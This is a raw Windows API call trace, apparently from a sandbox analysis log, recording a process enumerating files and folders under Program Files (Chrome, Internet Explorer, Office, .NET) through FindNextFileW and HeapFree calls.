	[0176.767] FindNextFileW (in: hFindFile=0x394b6f8, lpFindFileData=0x2fbf308 | out: lpFindFileData=0x2fbf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6df6f405, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6df6f405, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6df6f405, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msader15.dll", cAlternateFileName="")) returned 1
	[0176.768] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45810c8 | out: hHeap=0x4f0000) returned 1
	[0176.768] FindNextFileW (in: hFindFile=0x394b678, lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97d98b2b, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97d98b2b, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97d98b2b, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x6c00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DirectDB.dll", cAlternateFileName="")) returned 1
	[0176.769] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45810c8 | out: hHeap=0x4f0000) returned 1
	[0176.769] FindNextFileW (in: hFindFile=0x394b678, lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbbb051de, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msadc", cAlternateFileName="")) returned 1
	[0176.769] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4530060 | out: hHeap=0x4f0000) returned 1
	[0176.769] FindNextFileW (in: hFindFile=0x394b4f8, lpFindFileData=0x2fbf308 | out: lpFindFileData=0x2fbf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d2eaa26, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6d2eaa26, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6d2eaa26, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x93600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadce.dll", cAlternateFileName="")) returned 1
	[0176.770] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45810c8 | out: hHeap=0x4f0000) returned 1
	[0176.770] FindNextFileW (in: hFindFile=0x394b678, lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbbb59ef4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Ole DB", cAlternateFileName="OLEDB~1")) returned 1
	[0176.770] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4530060 | out: hHeap=0x4f0000) returned 1
	[0176.770] FindNextFileW (in: hFindFile=0x394bcb8, lpFindFileData=0x2fbf308 | out: lpFindFileData=0x2fbf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6df6f405, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6df6f405, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6df6f405, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdadc.dll", cAlternateFileName="")) returned 1
	[0176.771] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45810c8 | out: hHeap=0x4f0000) returned 1
	[0176.771] FindNextFileW (in: hFindFile=0x394b678, lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6dfbb8d0, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6dfbb8d0, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6dfbb8d0, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xb5200, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="wab32.dll", cAlternateFileName="")) returned 1
	[0176.772] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0176.773] FindNextFileW (in: hFindFile=0x394b5b8, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbb9ecb1f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System", cAlternateFileName="")) returned 0
	[0176.773] FindClose (in: hFindFile=0x394b5b8 | out: hFindFile=0x394b5b8) returned 1
	[0176.773] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x4f0000) returned 1
	[0176.774] FindNextFileW (in: hFindFile=0x5dd0c0, lpFindFileData=0x2fbfa7c | out: lpFindFileData=0x2fbfa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1a64f261, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5dec600, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5dec600, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x240000, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0176.777] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x4f0000) returned 1
	[0176.777] FindNextFileW (in: hFindFile=0x394b678, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4b31dc6, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4b31dc6, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x8de9172c, ftLastWriteTime.dwHighDateTime=0x1d32555, nFileSizeHigh=0x0, nFileSizeLow=0x3558, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="eventlog_provider.dll", cAlternateFileName="EVENTL~1.DLL")) returned 1
	[0176.778] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x4f0000) returned 1
	[0176.778] FindNextFileW (in: hFindFile=0x394b678, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe29aac04, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe29aac04, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x5158e3b4, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x9b9830, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="icudtl.dat", cAlternateFileName="")) returned 1
	[0176.778] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x4f0000) returned 1
	[0176.778] FindNextFileW (in: hFindFile=0x394b678, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4b31dc6, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4b31dc6, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x8e1fed42, ftLastWriteTime.dwHighDateTime=0x1d32555, nFileSizeHigh=0x0, nFileSizeLow=0x18758, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="libegl.dll", cAlternateFileName="")) returned 1
	[0176.783] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x4f0000) returned 1
	[0176.783] FindNextFileW (in: hFindFile=0x394b678, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4647067, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4647067, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51640744, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x380630, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="nacl_irt_x86_64.nexe", cAlternateFileName="NACL_I~1.NEX")) returned 1
	[0176.783] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x4f0000) returned 1
	[0176.783] FindNextFileW (in: hFindFile=0x394b678, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe295e71b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe46df998, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe46df998, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VisualElements", cAlternateFileName="VISUAL~1")) returned 1
	[0176.785] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x4f0000) returned 1
	[0176.785] FindNextFileW (in: hFindFile=0x394b678, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe295e71b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe46df998, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe46df998, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WidevineCdm", cAlternateFileName="WIDEVI~1")) returned 1
	[0176.788] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4540068 | out: hHeap=0x4f0000) returned 1
	[0176.788] FindNextFileW (in: hFindFile=0x394bc38, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe295e71b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4b5803b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe4b5803b, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="win_x64", cAlternateFileName="")) returned 0
	[0176.788] FindClose (in: hFindFile=0x394bc38 | out: hFindFile=0x394bc38) returned 1
	[0176.788] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4530060 | out: hHeap=0x4f0000) returned 1
	[0176.788] FindNextFileW (in: hFindFile=0x394ba78, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe295e71b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe295e71b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe295e71b, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_platform_specific", cAlternateFileName="_PLATF~1")) returned 0
	[0176.788] FindClose (in: hFindFile=0x394ba78 | out: hFindFile=0x394ba78) returned 1
	[0176.788] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x4f0000) returned 1
	[0176.788] FindNextFileW (in: hFindFile=0x394b678, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe295e71b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe46df998, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe46df998, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WidevineCdm", cAlternateFileName="WIDEVI~1")) returned 0
	[0176.788] FindClose (in: hFindFile=0x394b678 | out: hFindFile=0x394b678) returned 1
	[0176.788] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45c3e10 | out: hHeap=0x4f0000) returned 1
	[0176.789] FindNextFileW (in: hFindFile=0x394bbf8, lpFindFileData=0x2fbf308 | out: lpFindFileData=0x2fbf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4b5803b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4b5803b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x8a617bee, ftLastWriteTime.dwHighDateTime=0x1d32555, nFileSizeHigh=0x0, nFileSizeLow=0x162558, dwReserved0=0x0, dwReserved1=0x0, cFileName="chrome.exe", cAlternateFileName="")) returned 1
	[0176.790] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45c3e10 | out: hHeap=0x4f0000) returned 1
	[0176.790] FindNextFileW (in: hFindFile=0x394bbf8, lpFindFileData=0x2fbf308 | out: lpFindFileData=0x2fbf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe4b5803b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe571db72, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe571db72, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupMetrics", cAlternateFileName="SETUPM~1")) returned 0
	[0176.790] FindClose (in: hFindFile=0x394bbf8 | out: hFindFile=0x394bbf8) returned 1
	[0176.790] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45b3e08 | out: hHeap=0x4f0000) returned 1
	[0176.790] FindNextFileW (in: hFindFile=0x394bb78, lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xe4b5803b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xbbbac738, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe4bca716, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Application", cAlternateFileName="APPLIC~1")) returned 0
	[0176.790] FindClose (in: hFindFile=0x394bb78 | out: hFindFile=0x394bb78) returned 1
	[0176.790] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45810c8 | out: hHeap=0x4f0000) returned 1
	[0176.791] FindNextFileW (in: hFindFile=0x394b638, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcc5e5a66, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xbbf7b2f3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcc5e5a66, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CrashReports", cAlternateFileName="CRASHR~1")) returned 1
	[0176.792] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45810c8 | out: hHeap=0x4f0000) returned 1
	[0176.792] FindNextFileW (in: hFindFile=0x394b638, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcc631f07, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xbbfd0b02, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcda0384e, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Update2", cAlternateFileName="")) returned 1
	[0177.014] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45b3e08 | out: hHeap=0x4f0000) returned 1
	[0177.014] FindNextFileW (in: hFindFile=0x394bcb8, lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcda0384e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcda0384e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xdfd42df1, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Download", cAlternateFileName="")) returned 1
	[0177.031] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x4f0000) returned 1
	[0177.031] FindNextFileW (in: hFindFile=0x394b9f8, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdfd42df1, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xdfd42df1, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xdfd42df1, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="61.0.3163.79", cAlternateFileName="610316~1.79")) returned 0
	[0177.031] FindClose (in: hFindFile=0x394b9f8 | out: hFindFile=0x394b9f8) returned 1
	[0177.031] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45c3e10 | out: hHeap=0x4f0000) returned 1
	[0177.031] FindNextFileW (in: hFindFile=0x394bb38, lpFindFileData=0x2fbf308 | out: lpFindFileData=0x2fbf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdfd42df1, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xdfd42df1, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xdfd42df1, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{8A69D345-D564-463C-AFF1-A69D9E530F96}", cAlternateFileName="{8A69D~1")) returned 0
	[0177.031] FindClose (in: hFindFile=0x394bb38 | out: hFindFile=0x394bb38) returned 1
	[0177.031] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45b3e08 | out: hHeap=0x4f0000) returned 1
	[0177.032] FindNextFileW (in: hFindFile=0x394bcb8, lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc7af69e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc7af69e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc500c5f, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x25650, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="GoogleUpdate.exe", cAlternateFileName="GOOGLE~1.EXE")) returned 1
	[0177.032] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45c3e10 | out: hHeap=0x4f0000) returned 1
	[0177.032] FindNextFileW (in: hFindFile=0x394bb38, lpFindFileData=0x2fbf308 | out: lpFindFileData=0x2fbf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe0122b4c, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe04b63d9, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe04b63d9, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{6124B51C-167F-4C55-9898-E7167409448B}", cAlternateFileName="{6124B~1")) returned 0
	[0177.032] FindClose (in: hFindFile=0x394bb38 | out: hFindFile=0x394bb38) returned 1
	[0177.032] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45b3e08 | out: hHeap=0x4f0000) returned 1
	[0177.033] FindNextFileW (in: hFindFile=0x394bcb8, lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcda0384e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe0122b4c, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe0122b4c, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Install", cAlternateFileName="")) returned 0
	[0177.033] FindClose (in: hFindFile=0x394bcb8 | out: hFindFile=0x394bcb8) returned 1
	[0177.033] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45810c8 | out: hHeap=0x4f0000) returned 1
	[0177.035] FindNextFileW (in: hFindFile=0x394b638, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcc631f07, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xbbfd0b02, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcda0384e, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Update2", cAlternateFileName="")) returned 0
	[0177.035] FindClose (in: hFindFile=0x394b638 | out: hFindFile=0x394b638) returned 1
	[0177.035] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0177.035] FindNextFileW (in: hFindFile=0x5dd0c0, lpFindFileData=0x2fbfa7c | out: lpFindFileData=0x2fbfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc12eb00, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71274d1e, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 1
	[0177.042] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45810c8 | out: hHeap=0x4f0000) returned 1
	[0177.042] FindNextFileW (in: hFindFile=0x394b578, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95261236, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x95261236, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x95261236, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExtExport.exe", cAlternateFileName="")) returned 1
	[0177.043] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45810c8 | out: hHeap=0x4f0000) returned 1
	[0177.043] FindNextFileW (in: hFindFile=0x394b578, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc93a39, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb77a1634, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb77a1634, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SIGNUP", cAlternateFileName="")) returned 1
	[0177.061] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45810c8 | out: hHeap=0x4f0000) returned 1
	[0177.061] FindNextFileW (in: hFindFile=0x394b578, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x953b87d3, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x953b87d3, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x953b87d3, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa7d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqmapi.dll", cAlternateFileName="")) returned 1
	[0177.061] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0177.061] FindNextFileW (in: hFindFile=0x5dd0c0, lpFindFileData=0x2fbfa7c | out: lpFindFileData=0x2fbfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc211eecb, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x82e06fe2, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x82e06fe2, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft Office", cAlternateFileName="MICROS~1")) returned 1
	[0177.062] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0177.062] FindNextFileW (in: hFindFile=0x5dd0c0, lpFindFileData=0x2fbfa7c | out: lpFindFileData=0x2fbfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x49ecb94e, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x49ecb94e, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft.NET", cAlternateFileName="MICROS~1.NET")) returned 1
	[0177.077] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45810c8 | out: hHeap=0x4f0000) returned 1
	[0177.077] FindNextFileW (in: hFindFile=0x394b8f8, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc17f062, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a7340c2, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RedistList", cAlternateFileName="REDIST~1")) returned 1
